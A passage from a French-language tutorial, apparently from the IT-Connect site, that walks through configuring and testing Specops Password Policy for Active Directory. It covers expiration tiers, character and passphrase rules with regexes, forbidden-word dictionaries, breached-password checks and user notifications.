<p>Passons à l'étape suivante : "<strong>Password Expiration</strong>". Elle va permettre de configurer la politique d'expiration des mots de passe et de paramétrer les notifications associées.</p>
<ul>
<li><strong>Password expiration</strong></li>
</ul>
<p>En configurant la politique, on peut adopter la logique suivante : <strong>plus le mot de passe est long, plus l'utilisateur peut le conserver longtemps.</strong> Tout cela est ajustable et <strong>on crée des "niveaux d'expiration"</strong>. Une<strong> bonne manière de motiver les utilisateurs pour qu'ils définissent un mot de passe plus long</strong> car en général ils n'aiment pas changer leur mot de passe. <img src="media/14cb941f.1f609.png" data-original-source="https://s.w.org/images/core/emoji/13.1.0/72x72/1f609.png" alt="😉" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p>Dans l'exemple ci-dessous, <strong>il y a trois niveaux d'expiration, mais on peut en créer plus que cela.</strong> Un utilisateur qui définit un mot de passe compris entre 10 et 14 caractères devra le changer au bout de 30 jours maximum, tandis qu'un utilisateur avec un mot de passe compris entre 15 et 19 caractères devra le changer au bout de 365 jours maximum.</p>
<ul>
<li><strong>Password expiration notifications</strong></li>
</ul>
<p>Il est possible de <strong>notifier l'utilisateur que son mot de passe arrive à expiration</strong>. Cette notification s'effectue par e-mail et vous pouvez choisir combien de jours avant l'expiration du mot de passe vous souhaitez notifier l'utilisateur.</p>
<p><img class="aligncenter size-large wp-image-46273" src="media/b9cfe4e0.tutoriel-specops-password-policy-30-800x558.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-30-800x558.png" alt="" width="800" height="558" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-30-800x558.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-30-550x384.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-30-150x105.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-30-768x536.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-30-160x112.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-30-50x35.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-30-392x272.png 392w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-30-130x90.png 130w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-30.png 1114w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p><strong>Pour les notifications, l'e-mail est entièrement personnalisable et vous pouvez inclure certaines variables.</strong> Ces valeurs dynamiques vont permettre d'intégrer le nom d'utilisateur, le nom d'affichage, l'adresse e-mail ou encore l'adresse e-mail du responsable (si c'est renseigné dans l'AD).</p>
<p><img class="aligncenter size-large wp-image-46272" src="media/eb24356e.tutoriel-specops-password-policy-29-800x557.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-29-800x557.png" alt="" width="800" height="557" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-29-800x557.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-29-550x383.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-29-150x104.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-29-768x535.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-29-160x111.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-29-50x35.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-29-392x272.png 392w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-29-130x90.png 130w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-29.png 1116w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Passons à l'étape "<strong>Password Rules</strong>". Comme son nom l'indique, cette section va permettre de définir les règles pour les mots de passe, notamment la longueur, les types de caractères, etc.</p>
<p>L'option "<strong>Number of required character groups</strong>" sert à définir le nombre de types de caractères différents requis pour le mot de passe. Par exemple, si vous définissez "3", vous devez sélectionner au minimum trois types de caractères (<em>la sélection s'effectue en dessous</em>) et pour chaque type, vous pouvez indiquer le nombre minimal. Cela permet d'affiner très précisément.</p>
<p>Vous pouvez appliquer des restrictions au niveau du mot de passe : l'option "<strong>Disallow consecutive identical characters</strong>" égale à "3" empêche l'utilisation de 3 caractères identiques à la suite. Dans le même esprit, si l'on coche "<strong>Disallow full user name in password</strong>", l'utilisateur ne pourra pas utiliser son nom d'utilisateur dans le mot de passe.</p>
<p>Il est à noter la présence de la section "<strong>Use custom dictionaries</strong>". En cliquant sur le bouton "<strong>Manage</strong>", on a la possibilité de créer un nouveau dictionnaire ou d'en importer un existant.</p>
<p><img class="aligncenter size-large wp-image-46283" src="media/88a54ac2.tutoriel-specops-password-policy-31-800x550.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-31-800x550.png" alt="" width="800" height="550" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-31-800x550.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-31-550x378.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-31-150x103.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-31-768x528.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-31-160x110.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-31-50x34.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-31-130x90.png 130w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-31.png 1004w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Par exemple, <strong>si l'on crée un nouveau dictionnaire soi-même, il faudra saisir les mots à interdire.</strong> La chose que l'on peut faire, c'est<strong> indiquer le nom de son entreprise pour empêcher que le nom soit utilisé dans les mots de passe.</strong> Indispensable selon moi, car c'est très très courant !</p>
<p>En spécifiant "<em>Connect</em>" en référence à "<em>IT-Connect</em>", cela va bloquer "<em>Connect</em>", "<em>CONNECT</em>", mais aussi "<em>connect</em>" et même "<em>C0nnect</em>" (un zéro à la place du "o"). Le logiciel va prendre en charge les variantes pour renforcer l'interdiction.</p>
<p>Si votre entreprise dispose déjà d'un dictionnaire de mots à bloquer, il est possible de l'importer très facilement grâce à l'option "<strong>Import Password File</strong>".</p>
<p><img class="aligncenter size-large wp-image-46282" src="media/6eb1edac.tutoriel-specops-password-policy-32-800x681.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-32-800x681.png" alt="" width="800" height="681" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-32-800x681.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-32-550x468.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-32-150x128.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-32-768x654.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-32-160x136.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-32-50x43.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-32.png 846w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Chaque dictionnaire est configurable, notamment pour bloquer les caractères de substitution lors de l'utilisation d'un mot du dictionnaire. Cela correspond à l'option "<em>Character substitution (leet speak)</em>".</p>
<p><img class="aligncenter size-full wp-image-46285" src="media/daff71bf.tutoriel-specops-password-policy-33.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-33.jpg" alt="" width="800" height="539" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-33.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-33-550x371.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-33-150x101.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-33-768x517.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-33-160x108.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-33-50x34.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p><strong>Poursuivons la configuration sur notre lancée : rendez-vous dans l'onglet "Passphrase".</strong> Dans le cas où l'utilisateur souhaite définir un mot de passe très long, on parlera plus de passphrase. Dans ce cas, une stratégie différente peut s'appliquer afin de choisir la longueur, les types de caractères que vous souhaitez, etc.</p>
<p>Le logiciel va très loin puisque l'<strong>on peut créer ses propres règles pour les prérequis</strong>, en s'appuyant sur <strong>des expressions régulières (RegEx)</strong>.</p>
<p>Par exemple, si l'on veut imposer une passphrase composée de 3 mots de 6 caractères séparés par un espace, on utilisera cette RegEx :</p>
<pre>^\S{6,}\s+\S{6,}\s+\S{6,}$</pre>
<p>De la même façon, on peut bloquer les mots identiques :</p>
<pre>^(?!.*\b(\w+)\s\1\b).*$</pre>
<p>Ainsi que l'utilisation de caractères consécutifs identiques :</p>
<pre>^(?!.*(.)\1\1).*$</pre>
<p>Ensuite, on peut tester ses règles, au fur et à mesure de préférence, via la zone de saisie "<strong>Sample Passphrase</strong>". Grâce à nos règles, un utilisateur ne pourra pas utiliser "<em>111111 222222 333333</em>" ni "<em>111111 111111 22222</em>" comme passphrase.</p>
<p><img class="aligncenter size-large wp-image-46287" src="media/679d4187.tutoriel-specops-password-policy-34-800x304.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-34-800x304.png" alt="" width="800" height="304" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-34-800x304.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-34-550x209.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-34-150x57.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-34-768x292.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-34-160x61.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-34-1536x583.png 1536w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-34-50x19.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-34.png 1636w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Terminons par la configuration de l'onglet "<strong>Breached Password Protection</strong>". Grâce à cette fonctionnalité (vendue en complément sous le nom de "<em>Breached Password Protection</em>"), <strong>le logiciel SPP va comparer les mots de passe définis par les utilisateurs avec les mots de passe contenus dans les fuites de données connues ou collectés par Specops</strong>. On parlera de "<em>leaked password</em>", sans oublier les mots de passe collectés par Specops via les <a href="https://www.it-connect.fr/mise-en-place-et-etude-dun-honey-pot-ssh-cowrie/" target="_blank" rel="noopener">serveurs honeypots</a>. Pour effectuer cette comparaison, le logiciel s'appuie sur le hash des mots de passe, car il ne connaît pas le mot de passe des utilisateurs.</p>
<p>Cette section se découpe en deux zones :</p>
<ul>
<li><strong>Express List</strong> : l'analyse est effectuée à partir de la base de mots de passe téléchargée en local (environ 5 Go) sur le serveur et qui contient environ <strong>750 millions de mots de passe</strong> (mise à jour tous les deux mois).</li>
<li><strong>Complete API</strong> : l'analyse est effectuée via API sur la base de mots de passe hébergée en ligne et qui contient <strong>2,5 milliards de mots de passe</strong> (mise à jour quotidienne). Par exemple, la base intègre les mots de passe présent dans <a href="https://www.it-connect.fr/fortinet-500-000-identifiants-de-connexion-vpn-ont-fuite-sur-un-forum/" target="_blank" rel="noopener">la fuite de données qui a touchée Fortinet</a> récemment.</li>
</ul>
<p>Dans le cas où un mot de passe est trouvé dans une fuite de données, l'utilisateur sera averti afin qu'il puisse changer son mot de passe. <strong>Cette notification sera envoyée par e-mail, ou par SMS (gratuit/inclus).</strong> Le texte de la notification sera en français puisque c'est le message configuré dans Specops qui est repris.</p>
<p>Il y a une option qui permet de forcer la réinitialisation du mot de passe s'il est trouvé dans une fuite ("<em>Continuously check for leaked passwords and force users to change them</em>"). C'est intéressant, mais cela peut poser des problèmes de connexion aux utilisateurs en télétravail (notamment à cause du cache local des identifiants).</p>
<p><img class="aligncenter size-large wp-image-46295" src="media/bcc8ad23.tutoriel-specops-password-policy-35-800x558.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-35-800x558.png" alt="" width="800" height="558" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-35-800x558.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-35-550x384.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-35-150x105.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-35-768x536.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-35-160x112.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-35-50x35.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-35-392x272.png 392w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-35-130x90.png 130w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-35.png 1111w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Comme je le disais, les notifications sont personnalisables au niveau du texte. Pour envoyer la notification par e-mail, le logiciel reprend l'adresse e-mail de l'utilisateur au niveau de l'Active Directory. Idem pour le numéro de téléphone afin d'envoyer le SMS (ce qui nécessite d'avoir un annuaire bien renseigné).</p>
<p><img class="aligncenter size-large wp-image-46297" src="media/d85564c9.tutoriel-specops-password-policy-36b-800x557.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-36b-800x557.png" alt="" width="800" height="557" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-36b-800x557.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-36b-550x383.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-36b-150x104.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-36b-768x535.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-36b-160x111.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-36b-50x35.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-36b-392x272.png 392w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-36b-130x90.png 130w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-36b.png 1114w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p><strong>Nous sommes à la fin de l'assistant de création d'une nouvelle stratégie !</strong> Cliquez sur "<strong>OK</strong>" pour sauvegarder et nous allons tester le bon fonctionnement de notre politique.</p>
<p>Comme vous avez pu le constater, l'interface de ce logiciel de chez Specops est en anglais, mais la bonne nouvelle c'est que les notifications sont en français. Pour la partie configuration en anglais, cela ne devrait pas vous effrayer en tant que sysadmin. <img src="media/14cb941f.1f609.png" data-original-source="https://s.w.org/images/core/emoji/13.1.0/72x72/1f609.png" alt="😉" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<h2>IV. Tester la politique Specops Password Policy</h2>
<p>Avant de passer aux tests, je tenais à vous préciser que le contenu de la stratégie SPP est visible également à partir de l'<em>Editeur de gestion des stratégies de groupe</em>. Il suffit de modifier la GPO et d'accéder à l'emplacement suivant : <strong>Configuration utilisateur &gt; Stratégies &gt; Paramètres Windows &gt; Specops Password Policy</strong>.</p>
<p><img class="aligncenter size-large wp-image-46303" src="media/cf9cfd65.tutoriel-specops-password-policy-37-800x292.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-37-800x292.png" alt="" width="800" height="292" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-37-800x292.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-37-550x201.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-37-150x55.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-37-768x280.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-37-160x58.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-37-1536x560.png 1536w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-37-50x18.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-37.png 1628w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Faisons un test. On va réinitialiser le mot de passe de l'utilisateur "<em>Guy Mauve</em>" à partir du contrôleur de domaine. Bien sûr, la politique Specops que j'ai créée précédemment s'applique sur cet utilisateur. Il suffit de faire un clic droit sur le compte puis de cliquer sur "<strong>Réinitialiser le mot de passe</strong>". On saisit un mot de passe, par exemple "<em>Connect123!</em>".</p>
<p><img class="aligncenter size-full wp-image-46302" src="media/8bd6c553.tutoriel-specops-password-policy-38.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-38.png" alt="" width="747" height="391" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-38.png 747w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-38-550x288.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-38-150x79.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-38-160x84.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-38-50x26.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-38-390x205.png 390w" sizes="(max-width: 747px) 100vw, 747px" /></p>
<p><strong>On obtient alors une erreur, car le mot de passe ne respecte la politique.</strong> Si l'on regarde l'observateur d'événements du serveur (<strong>Journaux Windows &gt; Application</strong>), on peut voir qu'il y a des événements générés par Specops Password Policy.</p>
<p>Cet échec de réinitialisation de mot de passe a créé un événement : "<strong>Password AdminReset for user 'GUY.MAUVE' rejected</strong>". Ensuite, on sait que notre mot de passe ne respecte pas les prérequis de la politique "<em>Password_Policy</em>" et en regardant le détail, <strong>on peut savoir quels sont les prérequis non respectés</strong>.</p>
<p>Si je recommence avec un mot de passe qui respecte tous les prérequis, cela va fonctionner bien entendu.</p>
<p><img class="aligncenter size-large wp-image-46301" src="media/93a44530.tutoriel-specops-password-policy-39-800x567.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-39-800x567.png" alt="" width="800" height="567" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-39-800x567.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-39-550x390.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-39-150x106.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-39-768x544.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-39-160x113.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-39-50x35.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-39.png 810w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Maintenant, je vais <strong>basculer sur mon poste client où j'ai déployé le client Specops Password Policy</strong>... Je me connecte avec l'utilisateur "<em>guy.mauve</em>" et je décide de changer le mot de passe de ce compte (<strong>CTRL+ALT+SUPPR &gt; Modifier un mot de passe</strong>).</p>
<p>Voici l'écran qui s'affiche :</p>
<p><img class="aligncenter size-large wp-image-46300" src="media/5532246e.tutoriel-specops-password-policy-40-800x574.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-40-800x574.jpg" alt="" width="800" height="574" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-40-800x574.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-40-550x394.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-40-150x108.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-40-768x551.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-40-160x115.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-40-50x36.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-40.jpg 1131w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p><strong>Un panneau latéral indique quels sont les prérequis à respecter</strong> que ce soit pour le mot de passe ou la passphrase (<em>phrase secrète</em>). Lorsque l'utilisateur saisit son mot de passe, <strong>les prérequis changent d'état dynamiquement</strong> pour que l'utilisateur sache d'où vient le problème si le mot de passe n'est pas accepté.</p>
<blockquote><p><strong>Note</strong> : dans le cas où le client Specops Password Policy n'est pas installé sur le poste client, cela va fonctionner malgré tout. Cependant, le panneau latéral avec les indications ne s'affichera pas.</p></blockquote>
<p><img class="aligncenter size-large wp-image-46299" src="media/28a28f05.tutoriel-specops-password-policy-41-800x625.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-41-800x625.jpg" alt="" width="800" height="625" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-41-800x625.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-41-550x430.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-41-150x117.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-41-768x600.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-41-160x125.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-41-50x39.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-41.jpg 1054w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Dans le cas où l'utilisateur définit un mot de passe qui est repéré dans la base des mots de passe compromis, une notification est envoyée et un événement ajouté au journal (<strong>Observateur d'événements &gt; Journaux des applications et des services &gt; Specops</strong>).</p>
<p><img class="aligncenter size-full wp-image-46298" src="media/70064562.tutoriel-specops-password-policy-42.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-42.png" alt="" width="799" height="103" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-42.png 799w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-42-550x71.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-42-150x19.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-42-768x99.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-42-160x21.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-42-50x6.png 50w" sizes="(max-width: 799px) 100vw, 799px" /></p>
<p>Voici par exemple le SMS que j'ai reçu puisque c'est mon numéro qui est renseigné dans la fiche Active Directory de l'utilisateur "<em>guy.mauve</em>". Je vous rappelle que le message peut être défini en français, il suffit de modifier le texte de la notification au sein de la politique.</p>
<p><img class="aligncenter size-full wp-image-46304" src="media/ff8209a2.tutoriel-specops-password-policy-43.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-43.jpg" alt="" width="600" height="358" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-43.jpg 600w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-43-550x328.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-43-150x90.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-43-160x95.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-43-50x30.jpg 50w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<p>Quoi qu'il en soit, cette démonstration dans la peau d'un utilisateur permet de se rendre compte de l'utilité du client Specops Password Policy sur les postes et du système de notifications.</p>
<h2>V. Analyse des résultats avec Specops Password Auditor</h2>
<p>Après avoir mis en place Specops Password Policy, il est intéressant de relancer <strong>une nouvelle analyse avec Specops Password Auditor pour voir l'impact de cette nouvelle configuration</strong>. Si vous aviez de nombreux mots de passe vulnérables avant la mise en œuvre de SPP, les choses ont dû évoluer dans le bon sens désormais.</p>
<p>Si vous souhaitez découvrir <a href="https://www.it-connect.fr/identifiez-les-mots-de-passe-vulnerables-dans-lad-avec-specops-password-auditor/" target="_blank" rel="noopener">Specops Password Auditor</a> (logiciel gratuit), je vous invite à regarder ma vidéo à ce sujet.</p>
<p><iframe class="iframe_youtube" title="YouTube video player" src="https://www.youtube.com/embed/YELpFONjwKk" frameborder="0" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" style="display: inline-block; width: 0px; overflow: hidden; line-height: 0;" class="mce_SELRES_start">﻿</span></iframe></p>
<p>Un logiciel que vous pouvez télécharger gratuitement via cette page : <a href="https://specopssoft.com/lp/fr/specops-password-auditor-it-connect/?utm_campaign=it-connect%20review%20fr&amp;utm_source=it-connect&amp;utm_medium=referral&amp;utm_term=review&amp;utm_content=spa%20link" target="_blank" rel="noopener">Télécharger Specops Password Auditor</a>.</p>
<p>L'analyse effectuée par Specops Password Auditor suite à la mise en place de Specops Password Policy doit donner des résultats satisfaisants : pas d'utilisateurs sans mot de passe, pas de mots de passe compromis, etc.</p>
<p><img class="aligncenter size-full wp-image-46308" src="media/60c5b7d6.specops-password-auditor-analyse-finale-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/specops-password-auditor-analyse-finale-01.jpg" alt="" width="470" height="319" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/specops-password-auditor-analyse-finale-01.jpg 470w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/specops-password-auditor-analyse-finale-01-150x102.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/specops-password-auditor-analyse-finale-01-160x109.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/specops-password-auditor-analyse-finale-01-50x34.jpg 50w" sizes="(max-width: 470px) 100vw, 470px" /></p>
<p>Si l'on regarde<strong> la conformité de notre politique "<em>Password_Policy</em>" vis-à-vis des recommandations des différents organismes de sécurité</strong>, on peut voir qu'elle s'en sort bien également.</p>
